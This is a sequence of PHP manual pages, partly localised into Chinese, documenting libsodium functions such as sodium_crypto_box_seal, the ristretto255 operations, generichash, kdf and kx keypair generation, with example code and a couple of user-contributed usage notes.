There are no user contributed notes for this page.


Calculate the public key from a secret key

  • ? sodium_crypto_box_open
  • sodium_crypto_box_publickey ?
  • PHP Manual
  • Sodium 函数
  • Calculate the public key from a secret key

sodium_crypto_box_publickey_from_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_publickey_from_secretkey — Calculate the public key from a secret key

说明

sodium_crypto_box_publickey_from_secretkey(string $secret_key): string

Given a secret key, calculate the corresponding public key.

This only works with the type of keys intended for use with crypto_box() (which uses Elliptic Curve Diffie-Hellman over the Montgomery curve, Curve25519; abbreviated as X25519), not crypto_sign() (which uses Edwards Digital Signature Algorithm over the Edwards Curve with the corresponding paramaters; abbreviated Ed25519).

参数

secret_key

X25519 secret key

返回值

X25519 public key.

User Contributed Notes

There are no user contributed notes for this page.


Extract the public key from a crypto_box keypair

  • ? sodium_crypto_box_publickey_from_secretkey
  • sodium_crypto_box_seal_open ?
  • PHP Manual
  • Sodium 函数
  • Extract the public key from a crypto_box keypair

sodium_crypto_box_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_publickey — Extract the public key from a crypto_box keypair

说明

sodium_crypto_box_publickey(string $key_pair): string

Given a keypair, fetch only the public key.

参数

key_pair

A keypair, such as one generated by sodium_crypto_box_keypair() or sodium_crypto_box_seed_keypair()

返回值

X25519 public key.

User Contributed Notes

There are no user contributed notes for this page.


Anonymous public-key decryption

  • ? sodium_crypto_box_publickey
  • sodium_crypto_box_seal ?
  • PHP Manual
  • Sodium 函数
  • Anonymous public-key decryption

sodium_crypto_box_seal_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seal_open — Anonymous public-key decryption

说明

sodium_crypto_box_seal_open(string $ciphertext, string $key_pair): string|false

Decrypt a message that was encrypted with sodium_crypto_box_seal()

参数

ciphertext

The encrypted message

key_pair

The keypair of the recipient. Must include the secret key.

返回值

The plaintext on success, 或者在失败时返回 false.

示例

Example #1 sodium_crypto_box_seal_open() example

<?php
// Ciphertext is not sensitive; base64_decode is fine
$sealed_b64 = "oRBXXAV4iQBrxlV4A21Bord8Yo/D8ZlrIIGNyaRCcGBfpz0map52I3xq6l+CST+1NSgQkbV+HiYyFjXWiWiaCGupGf+zl4bgWj/A9Adtem7Jt3h3emrMsLw=";
$sealed = base64_decode($sealed_b64);

// Keypair contains a cryptographic secret; use a timing-safe decoder
$keypair_b64 = "KZkF8wnB7bnC2aXB3lFOqCTc0Z6MllvaQb9ASVG8o2/MsewkuE4u1uaEgTzSakeiYyIW8DGj+02/L3cWIbs9bQ==";
$keypair = sodium_base642bin($keypair_b64, SODIUM_BASE64_VARIANT_ORIGINAL);

$opened = sodium_crypto_box_seal_open($sealed, $keypair);
var_dump($opened);
?>

以上示例的输出类似于：

string(41) "Writing software in PHP can be a delight!"

User Contributed Notes

There are no user contributed notes for this page.


Anonymous public-key encryption

  • ? sodium_crypto_box_seal_open
  • sodium_crypto_box_secretkey ?
  • PHP Manual
  • Sodium 函数
  • Anonymous public-key encryption

sodium_crypto_box_seal

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seal — Anonymous public-key encryption

说明

sodium_crypto_box_seal(string $message, string $public_key): string

Encrypt a message such that only the recipient can decrypt it.

Unlike with sodium_crypto_box(), you only need to know the recipient's public key to use sodium_crypto_box_seal(). One consequence of this convenience, however, is that the ciphertext isn't bound to a static public key, and is therefore not authenticated. Hence, anonymous public-key encryption.

sodium_crypto_box_seal() still provides ciphertext integrity. Just not sender identity authentication.

If you also need sender authentication, the sodium_crypto_sign() functions are likely the best place to start.

参数

message

The message to encrypt.

public_key

The public key that corresponds to the only key that can decrypt the message.

返回值

A ciphertext string in the format of (one-time public key, encrypted message, authentication tag).

示例

Example #1 sodium_crypto_box_seal() example

<?php
$keypair = sodium_crypto_box_keypair();
$public_key = sodium_crypto_box_publickey($keypair);

// Obfuscated plaintext to make the example more fun
$plaintext_b64 = "V3JpdGluZyBzb2Z0d2FyZSBpbiBQSFAgY2FuIGJlIGEgZGVsaWdodCE=";
$decoded_plaintext = sodium_base642bin($plaintext_b64, SODIUM_BASE64_VARIANT_ORIGINAL);

$sealed = sodium_crypto_box_seal($decoded_plaintext, $public_key);
var_dump(base64_encode($sealed));

$opened = sodium_crypto_box_seal_open($sealed, $keypair);
var_dump($opened);
?>

以上示例的输出类似于：

string(120) "oRBXXAV4iQBrxlV4A21Bord8Yo/D8ZlrIIGNyaRCcGBfpz0map52I3xq6l+CST+1NSgQkbV+HiYyFjXWiWiaCGupGf+zl4bgWj/A9Adtem7Jt3h3emrMsLw="
string(41) "Writing software in PHP can be a delight!"

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:36
Here's a quick example on how to use sodium_crypto_box_seal(); where you have 2 people exchanging a $message - person 1 encrypts it so that only person 2 can decrypt it. It does not allow person 2 to know who sent it, as only their public key way used (see sodium_crypto_box to do that).

<?php

$keypair = sodium_crypto_box_keypair();
$keypair_public = sodium_crypto_box_publickey($keypair);
$keypair_secret = sodium_crypto_box_secretkey($keypair);

// $key_public = sodium_crypto_box_publickey_from_secretkey($keypair_secret);
// $keypair = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair_secret, $key_public);

//--------------------------------------------------
// Person 1, encrypting

$message = 'hello';

$encrypted = sodium_crypto_box_seal($message, $keypair_public);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Person 2, decrypting

$decrypted = sodium_crypto_box_seal_open($encrypted, $keypair);

echo $decrypted . "\n";

?>


Extracts the secret key from a crypto_box keypair

  • ? sodium_crypto_box_seal
  • sodium_crypto_box_seed_keypair ?
  • PHP Manual
  • Sodium 函数
  • Extracts the secret key from a crypto_box keypair

sodium_crypto_box_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_secretkey — Extracts the secret key from a crypto_box keypair

说明

sodium_crypto_box_secretkey(string $key_pair): string

Given a keypair, fetch only the secret key.

参数

key_pair

A keypair, such as one generated by sodium_crypto_box_keypair() or sodium_crypto_box_seed_keypair()

返回值

X25519 secret key.

User Contributed Notes

There are no user contributed notes for this page.


Deterministically derive the key pair from a single key

  • ? sodium_crypto_box_secretkey
  • sodium_crypto_box ?
  • PHP Manual
  • Sodium 函数
  • Deterministically derive the key pair from a single key

sodium_crypto_box_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seed_keypair — Deterministically derive the key pair from a single key

说明

sodium_crypto_box_seed_keypair(string $seed): string

Clamps the seed to form a secret key, derives the public key, and returns the two as a keypair.

The *_seed_keypair functions are ideal for generating a keypair from a password and salt. Use the result as a seed to generate the desired keys.

参数

seed

Some cryptographic input. Must be 32 bytes.

返回值

X25519 Keypair (secret key and public key).

User Contributed Notes

There are no user contributed notes for this page.


Authenticated public-key encryption

  • ? sodium_crypto_box_seed_keypair
  • sodium_crypto_core_ristretto255_add ?
  • PHP Manual
  • Sodium 函数
  • Authenticated public-key encryption

sodium_crypto_box

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box — Authenticated public-key encryption

说明

sodium_crypto_box(string $message, string $nonce, string $key_pair): string

Encrypt a message using asymmetric (public key) cryptography.

The algorithm used by functions prefixed with sodium_crypto_box() are Elliptic Curve Diffie-Hellman over the Montgomery curve, Curve25519; usually abbreviated as X25519.

参数

message

The message to be encrypted.

nonce

A number that must be only used once, per message. 24 bytes long. This is a large enough bound to generate randomly (i.e. random_bytes()).

key_pair

See sodium_crypto_box_keypair_from_secretkey_and_publickey(). This should include the sender's X25519 secret key and the recipient's X25519 public key.

返回值

Returns the encrypted message (ciphertext plus authentication tag). The ciphertext will be 16 bytes longer than the plaintext, and a raw binary string. See sodium_bin2base64() for safe encoding for storage.

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:13
Here's a quick example on how to use sodium_crypto_box(); where you have 2 people exchanging a $message, where person 1 encrypts it so that only person 2 can decrypt it, and be sure that person 1 actually sent it (without it being tampered with).

<?php

$keypair1 = sodium_crypto_box_keypair();
$keypair1_public = sodium_crypto_box_publickey($keypair1);
$keypair1_secret = sodium_crypto_box_secretkey($keypair1);

$keypair2 = sodium_crypto_box_keypair();
$keypair2_public = sodium_crypto_box_publickey($keypair2);
$keypair2_secret = sodium_crypto_box_secretkey($keypair2);

//--------------------------------------------------
// Person 1, encrypting

$message = 'hello';

$nonce = random_bytes(SODIUM_CRYPTO_BOX_NONCEBYTES);

$encryption_key = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair1_secret, $keypair2_public);
$encrypted = sodium_crypto_box($message, $nonce, $encryption_key);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Person 2, decrypting

$decryption_key = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair2_secret, $keypair1_public);
$decrypted = sodium_crypto_box_open($encrypted, $nonce, $decryption_key);

echo $decrypted . "\n";

?>


Adds an element

  • ? sodium_crypto_box
  • sodium_crypto_core_ristretto255_from_hash ?
  • PHP Manual
  • Sodium 函数
  • Adds an element

sodium_crypto_core_ristretto255_add

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_add — Adds an element

说明

sodium_crypto_core_ristretto255_add(string $p, string $q): string

Adds an element q to p. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

p

An element.

q

An element.

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_add() example

<?php

$foo = sodium_crypto_core_ristretto255_random();
$bar = sodium_crypto_core_ristretto255_random();

$value = sodium_crypto_core_ristretto255_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_random() - Generates a random key
  • sodium_crypto_core_ristretto255_sub() - Subtracts an element

User Contributed Notes

There are no user contributed notes for this page.


Maps a vector

  • ? sodium_crypto_core_ristretto255_add
  • sodium_crypto_core_ristretto255_is_valid_point ?
  • PHP Manual
  • Sodium 函数
  • Maps a vector

sodium_crypto_core_ristretto255_from_hash

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_from_hash — Maps a vector

说明

sodium_crypto_core_ristretto255_from_hash(string $s): string

Maps a 64-bytes vector s to a group element. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

s

A 64-bytes vector.

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_from_hash() example

<?php

$hashes = sodium_hex2bin(
'5d1be09e3d0c82fc538112490e35701979d99e06ca3e2b5b54bffe8b4dc772c1' .
'4d98b696a1bbfb5ca32c436cc61c16563790306c79eaca7705668b47dffe5bb6'
);
var_dump(sodium_bin2hex(sodium_crypto_core_ristretto255_from_hash($hashes)));
?>

以上示例会输出：

string(64) "3066f82a1a747d45120d1740f14358531a8f04bbffe6a819f86dfe50f44a0a46"

参见

  • sodium_hex2bin() - Decodes a hexadecimally encoded binary string
  • sodium_bin2hex() - Encode to hexadecimal
  • sodium_crypto_core_ristretto255_from_hash()

User Contributed Notes

There are no user contributed notes for this page.


Determines if a point on the ristretto255 curve

  • ? sodium_crypto_core_ristretto255_from_hash
  • sodium_crypto_core_ristretto255_random ?
  • PHP Manual
  • Sodium 函数
  • Determines if a point on the ristretto255 curve

sodium_crypto_core_ristretto255_is_valid_point

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_is_valid_point — Determines if a point on the ristretto255 curve

说明

sodium_crypto_core_ristretto255_is_valid_point(string $s): bool

Determines if a point on the ristretto255 curve, in canonical form, on the main subgroup, and that the point doesn't have a small order. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

s

An Elliptic-curve point.

返回值

Returns true if s is on the ristretto255 curve, false otherwise.

示例

Example #1 sodium_crypto_core_ristretto255_is_valid_point() example

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();
$bar = sodium_crypto_scalarmult_ristretto255_base($foo);

var_dump(sodium_crypto_core_ristretto255_is_valid_point($bar));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_scalar_random() - Generates a random key
  • sodium_crypto_scalarmult_ristretto255_base() - Calculates the public key from a secret key

User Contributed Notes

There are no user contributed notes for this page.


Generates a random key

  • ? sodium_crypto_core_ristretto255_is_valid_point
  • sodium_crypto_core_ristretto255_scalar_add ?
  • PHP Manual
  • Sodium 函数
  • Generates a random key

sodium_crypto_core_ristretto255_random

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_random — Generates a random key

说明

sodium_crypto_core_ristretto255_random(): string

Generates a random key. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_random() example

<?php

$foo = sodium_crypto_core_ristretto255_random();
$bar = sodium_crypto_core_ristretto255_random();

$value = sodium_crypto_core_ristretto255_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_add() - Adds an element
  • sodium_crypto_core_ristretto255_sub() - Subtracts an element

User Contributed Notes

There are no user contributed notes for this page.


Adds a scalar value

  • ? sodium_crypto_core_ristretto255_random
  • sodium_crypto_core_ristretto255_scalar_complement ?
  • PHP Manual
  • Sodium 函数
  • Adds a scalar value

sodium_crypto_core_ristretto255_scalar_add

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_add — Adds a scalar value

说明

sodium_crypto_core_ristretto255_scalar_add(string $x, string $y): string

Adds an element y to x. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

x

Scalar, representing the X coordinate.

y

Scalar, representing the Y coordinate.

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_scalar_add() example

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();
$bar = sodium_crypto_core_ristretto255_scalar_random();

$value = sodium_crypto_core_ristretto255_scalar_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_scalar_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_scalar_random() - Generates a random key
  • sodium_crypto_core_ristretto255_scalar_sub() - Subtracts a scalar value

User Contributed Notes

There are no user contributed notes for this page.


The sodium_crypto_core_ristretto255_scalar_complement purpose

  • ? sodium_crypto_core_ristretto255_scalar_add
  • sodium_crypto_core_ristretto255_scalar_invert ?
  • PHP Manual
  • Sodium 函数
  • The sodium_crypto_core_ristretto255_scalar_complement purpose

sodium_crypto_core_ristretto255_scalar_complement

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_complement — The sodium_crypto_core_ristretto255_scalar_complement purpose

说明

sodium_crypto_core_ristretto255_scalar_complement(string $s): string

Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

s

Scalar value.

返回值

Returns a 32-byte random string.

参见

  • sodium_crypto_core_ristretto255_scalar_random() - Generates a random key

User Contributed Notes

There are no user contributed notes for this page.


Inverts a scalar value

  • ? sodium_crypto_core_ristretto255_scalar_complement
  • sodium_crypto_core_ristretto255_scalar_mul ?
  • PHP Manual
  • Sodium 函数
  • Inverts a scalar value

sodium_crypto_core_ristretto255_scalar_invert

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_invert — Inverts a scalar value

说明

sodium_crypto_core_ristretto255_scalar_invert(string $s): string

Inverts a scalar value. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

s

Scalar value.

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_scalar_invert() example

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();

$inverted = sodium_crypto_core_ristretto255_scalar_invert($foo);
$reInverted = sodium_crypto_core_ristretto255_scalar_invert($inverted);

var_dump(hash_equals($foo, $reInverted));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_scalar_random() - Generates a random key

User Contributed Notes

There are no user contributed notes for this page.


Multiplies a scalar value

  • ? sodium_crypto_core_ristretto255_scalar_invert
  • sodium_crypto_core_ristretto255_scalar_negate ?
  • PHP Manual
  • Sodium 函数
  • Multiplies a scalar value

sodium_crypto_core_ristretto255_scalar_mul

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_mul — Multiplies a scalar value

说明

sodium_crypto_core_ristretto255_scalar_mul(string $x, string $y): string

Multiplies a scalar value. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

x

Scalar, representing the X coordinate.

y

Scalar, representing the Y coordinate.

返回值

Returns a 32-byte random string.

参见

  • sodium_crypto_core_ristretto255_scalar_random() - Generates a random key

User Contributed Notes

There are no user contributed notes for this page.


Negates a scalar value

  • ? sodium_crypto_core_ristretto255_scalar_mul
  • sodium_crypto_core_ristretto255_scalar_random ?
  • PHP Manual
  • Sodium 函数
  • Negates a scalar value

sodium_crypto_core_ristretto255_scalar_negate

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_negate — Negates a scalar value

说明

sodium_crypto_core_ristretto255_scalar_negate(string $s): string

Negates a scalar value. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

s

Scalar value.

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_scalar_negate() example

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();

$negate = sodium_crypto_core_ristretto255_scalar_negate($foo);
$reNegate = sodium_crypto_core_ristretto255_scalar_negate($negate);

var_dump(hash_equals($foo, $reNegate));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_scalar_random() - Generates a random key

User Contributed Notes

There are no user contributed notes for this page.


Generates a random key

  • ? sodium_crypto_core_ristretto255_scalar_negate
  • sodium_crypto_core_ristretto255_scalar_reduce ?
  • PHP Manual
  • Sodium 函数
  • Generates a random key

sodium_crypto_core_ristretto255_scalar_random

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_random — Generates a random key

说明

sodium_crypto_core_ristretto255_scalar_random(): string

Generates a random key. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_scalar_random() example

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();
$bar = sodium_crypto_core_ristretto255_scalar_random();

$value = sodium_crypto_core_ristretto255_scalar_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_scalar_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_scalar_add() - Adds a scalar value
  • sodium_crypto_core_ristretto255_scalar_sub() - Subtracts a scalar value

User Contributed Notes

There are no user contributed notes for this page.


Reduces a scalar value

  • ? sodium_crypto_core_ristretto255_scalar_random
  • sodium_crypto_core_ristretto255_scalar_sub ?
  • PHP Manual
  • Sodium 函数
  • Reduces a scalar value

sodium_crypto_core_ristretto255_scalar_reduce

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_reduce — Reduces a scalar value

说明

sodium_crypto_core_ristretto255_scalar_reduce(string $s): string

Reduces a scalar value. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

s

Scalar value.

返回值

Returns a 32-byte random string.

参见

  • sodium_crypto_core_ristretto255_scalar_random() - Generates a random key

User Contributed Notes

There are no user contributed notes for this page.


Subtracts a scalar value

  • ? sodium_crypto_core_ristretto255_scalar_reduce
  • sodium_crypto_core_ristretto255_sub ?
  • PHP Manual
  • Sodium 函数
  • Subtracts a scalar value

sodium_crypto_core_ristretto255_scalar_sub

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_sub — Subtracts a scalar value

说明

sodium_crypto_core_ristretto255_scalar_sub(string $x, string $y): string

Subtracts a scalar y from x. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

x

Scalar, representing the X coordinate.

y

Scalar, representing the Y coordinate.

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_scalar_sub() example

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();
$bar = sodium_crypto_core_ristretto255_scalar_random();

$value = sodium_crypto_core_ristretto255_scalar_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_scalar_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_scalar_random() - Generates a random key
  • sodium_crypto_core_ristretto255_scalar_add() - Adds a scalar value

User Contributed Notes

There are no user contributed notes for this page.


Subtracts an element

  • ? sodium_crypto_core_ristretto255_scalar_sub
  • sodium_crypto_generichash_final ?
  • PHP Manual
  • Sodium 函数
  • Subtracts an element

sodium_crypto_core_ristretto255_sub

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_sub — Subtracts an element

说明

sodium_crypto_core_ristretto255_sub(string $p, string $q): string

Subtracts an element q from p. Available as of libsodium 1.0.18.

Warning

本函数还未编写文档，仅有参数列表。

参数

p

An element.

q

An element.

返回值

Returns a 32-byte random string.

示例

Example #1 sodium_crypto_core_ristretto255_sub() example

<?php

$foo = sodium_crypto_core_ristretto255_random();
$bar = sodium_crypto_core_ristretto255_random();

$value = sodium_crypto_core_ristretto255_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

以上示例会输出：

bool(true)

参见

  • sodium_crypto_core_ristretto255_random() - Generates a random key
  • sodium_crypto_core_ristretto255_add() - Adds an element

User Contributed Notes

There are no user contributed notes for this page.


Complete the hash

  • ? sodium_crypto_core_ristretto255_sub
  • sodium_crypto_generichash_init ?
  • PHP Manual
  • Sodium 函数
  • Complete the hash

sodium_crypto_generichash_final

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_final — Complete the hash

说明

sodium_crypto_generichash_final(string &$state, int $length = SODIUM_CRYPTO_GENERICHASH_BYTES): string

The finalization method for the streaming generichash API.

参数

state

Hash state returned from sodium_crypto_generichash_init()

length

Output length.

返回值

Cryptographic hash.

示例

Example #1 sodium_crypto_generichash_final() example

<?php
$messages = [random_bytes(32), random_bytes(32), random_bytes(16)];
$state = sodium_crypto_generichash_init('', 32);
foreach ($messages as $message) {
sodium_crypto_generichash_update($state, $message);
}

$final = sodium_crypto_generichash_final($state, 32);
var_dump(sodium_bin2hex($final));

$allAtOnce = sodium_crypto_generichash(implode('', $messages));
var_dump(sodium_bin2hex($allAtOnce));
?>

以上示例的输出类似于：

string(64) "a2939a9163cb7c796ec28e01028489e72475c136b2697ea59e3e760ab4a8ab20"
string(64) "a2939a9163cb7c796ec28e01028489e72475c136b2697ea59e3e760ab4a8ab20"

User Contributed Notes

There are no user contributed notes for this page.


Initialize a hash for streaming

  • ? sodium_crypto_generichash_final
  • sodium_crypto_generichash_keygen ?
  • PHP Manual
  • Sodium 函数
  • Initialize a hash for streaming

sodium_crypto_generichash_init

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_init — Initialize a hash for streaming

说明

sodium_crypto_generichash_init(string $key = "", int $length = SODIUM_CRYPTO_GENERICHASH_BYTES): string

The initialization method for the streaming generichash API.

参数

key

The generichash key.

length

The expected output length of the hash function.

返回值

Returns a hash state, serialized as a raw binary string.

示例

Example #1 sodium_crypto_generichash_init() example

<?php
$messages = [random_bytes(32), random_bytes(32), random_bytes(16)];
$state = sodium_crypto_generichash_init('', 32);
foreach ($messages as $message) {
sodium_crypto_generichash_update($state, $message);
}
$final = sodium_crypto_generichash_final($state, 32);
var_dump(sodium_bin2hex($final));
$allAtOnce = sodium_crypto_generichash(implode('', $messages));
var_dump(sodium_bin2hex($allAtOnce));
?>

以上示例的输出类似于：

string(64) "a2939a9163cb7c796ec28e01028489e72475c136b2697ea59e3e760ab4a8ab20"
string(64) "a2939a9163cb7c796ec28e01028489e72475c136b2697ea59e3e760ab4a8ab20"

User Contributed Notes

There are no user contributed notes for this page.


Generate a random generichash key

  • ? sodium_crypto_generichash_init
  • sodium_crypto_generichash_update ?
  • PHP Manual
  • Sodium 函数
  • Generate a random generichash key

sodium_crypto_generichash_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_keygen — Generate a random generichash key

说明

sodium_crypto_generichash_keygen(): string

Generate a random key for use with the generichash API.

参数

此函数没有参数。

返回值

A random 256-bit key.

User Contributed Notes

There are no user contributed notes for this page.


Add message to a hash

  • ? sodium_crypto_generichash_keygen
  • sodium_crypto_generichash ?
  • PHP Manual
  • Sodium 函数
  • Add message to a hash

sodium_crypto_generichash_update

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_update — Add message to a hash

说明

sodium_crypto_generichash_update(string &$state, string $message): true

Appends a message to the internal hash state.

参数

state

The return value of sodium_crypto_generichash_init().

message

Data to append to the hashing state.

返回值

总是返回 true。

示例

Example #1 sodium_crypto_generichash_update() example

<?php
$messages = [random_bytes(32), random_bytes(32), random_bytes(16)];
$state = sodium_crypto_generichash_init();
foreach ($messages as $message) {
sodium_crypto_generichash_update($state, $message);
}
$final = sodium_crypto_generichash_final($state);
var_dump(sodium_bin2hex($final));

$allAtOnce = sodium_crypto_generichash(implode('', $messages));
var_dump(sodium_bin2hex($allAtOnce));
?>

以上示例的输出类似于：

string(64) "e16e28bbbbcc39d9f5b1cbc33c41f1d217808640103e57a41f24870f79831e04"
string(64) "e16e28bbbbcc39d9f5b1cbc33c41f1d217808640103e57a41f24870f79831e04"

User Contributed Notes

There are no user contributed notes for this page.


Get a hash of the message

  • ? sodium_crypto_generichash_update
  • sodium_crypto_kdf_derive_from_key ?
  • PHP Manual
  • Sodium 函数
  • Get a hash of the message

sodium_crypto_generichash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash — Get a hash of the message

说明

sodium_crypto_generichash(string $message, string $key = "", int $length = SODIUM_CRYPTO_GENERICHASH_BYTES): string

Hash a message with BLAKE2b.

参数

message

The message being hashed.

key

(Optional) cryptographic key. This serves the same function as a HMAC key, but it's utilized as a reserved section of the internal BLAKE2 state.

length

Output size.

返回值

The cryptographic hash as raw bytes. If a hex-encoded output is desired, the result can be passed to sodium_bin2hex().

User Contributed Notes

There are no user contributed notes for this page.


Derive a subkey

  • ? sodium_crypto_generichash
  • sodium_crypto_kdf_keygen ?
  • PHP Manual
  • Sodium 函数
  • Derive a subkey

sodium_crypto_kdf_derive_from_key

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kdf_derive_from_key — Derive a subkey

说明

sodium_crypto_kdf_derive_from_key(
int $subkey_length,
int $subkey_id,
string $context,
string $key
): string

Derive a subkey from a root key and additional context.

Similar to hash_hkdf().

参数

subkey_length

Length of the key to return (in bytes)

subkey_id

Return the Nth subkey from a given root key. Useful for seeking.

context

Application-specific context.

key

The root key from which the subkey is derived.

返回值

A string of pseudorandom (raw binary) bytes.

User Contributed Notes

There are no user contributed notes for this page.


Generate a random root key for the KDF interface

  • ? sodium_crypto_kdf_derive_from_key
  • sodium_crypto_kx_client_session_keys ?
  • PHP Manual
  • Sodium 函数
  • Generate a random root key for the KDF interface

sodium_crypto_kdf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kdf_keygen — Generate a random root key for the KDF interface

说明

sodium_crypto_kdf_keygen(): string

Generates a random key suitable for serving as the root key for sodium_crypto_kdf_derive_from_key().

参数

此函数没有参数。

返回值

A random 256-bit key.

User Contributed Notes

There are no user contributed notes for this page.


Calculate the client-side session keys.

  • ? sodium_crypto_kdf_keygen
  • sodium_crypto_kx_keypair ?
  • PHP Manual
  • Sodium 函数
  • Calculate the client-side session keys.

sodium_crypto_kx_client_session_keys

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_client_session_keys — Calculate the client-side session keys.

说明

sodium_crypto_kx_client_session_keys(string $client_key_pair, string $server_key): array

Calculate the client-side session keys, using the X25519 + BLAKE2b key-exchange method.

参数

client_key_pair

A crypto_kx keypair, such as one generated by sodium_crypto_kx_keypair().

server_key

A crypto_kx public key.

返回值

An array consisting of two strings. The first should be used for receiving data from the server. The second should be used for sending data to the server.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new sodium keypair

  • ? sodium_crypto_kx_client_session_keys
  • sodium_crypto_kx_publickey ?
  • PHP Manual
  • Sodium 函数
  • Creates a new sodium keypair

sodium_crypto_kx_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_keypair — Creates a new sodium keypair

说明

sodium_crypto_kx_keypair(): string

Create a new sodium keypair consisting of the secret key (32 bytes) followed by the public key (32 bytes). The keys can be retrieved by calling sodium_crypto_kx_secretkey() and sodium_crypto_kx_publickey(), respectively.

参数

此函数没有参数。

返回值

Returns the new keypair on success; throws an exception otherwise.

示例

Example #1 sodium_crypto_kx_keypair() usage

Create a new keypair and retrieve the secret and the public key from it.

<?php
$keypair = sodium_crypto_kx_keypair();
$secret = sodium_crypto_kx_secretkey($keypair);
$public = sodium_crypto_kx_publickey($keypair);
printf("secret: %s\npublic: %s", sodium_bin2hex($secret), sodium_bin2hex($public));
?>

以上示例的输出类似于：

secret: e7c5c918fdc40762e6000542c0118f4368ce8fd242b0e48c1e17202797a25daf
public: d1f59fda8652caf40ed1a01d2b6f3802b60846986372cd8fa337b7c12c428b18

User Contributed Notes

There are no user contributed notes for this page.


Extract the public key from a crypto_kx keypair

  • ? sodium_crypto_kx_keypair
  • sodium_crypto_kx_secretkey ?
  • PHP Manual
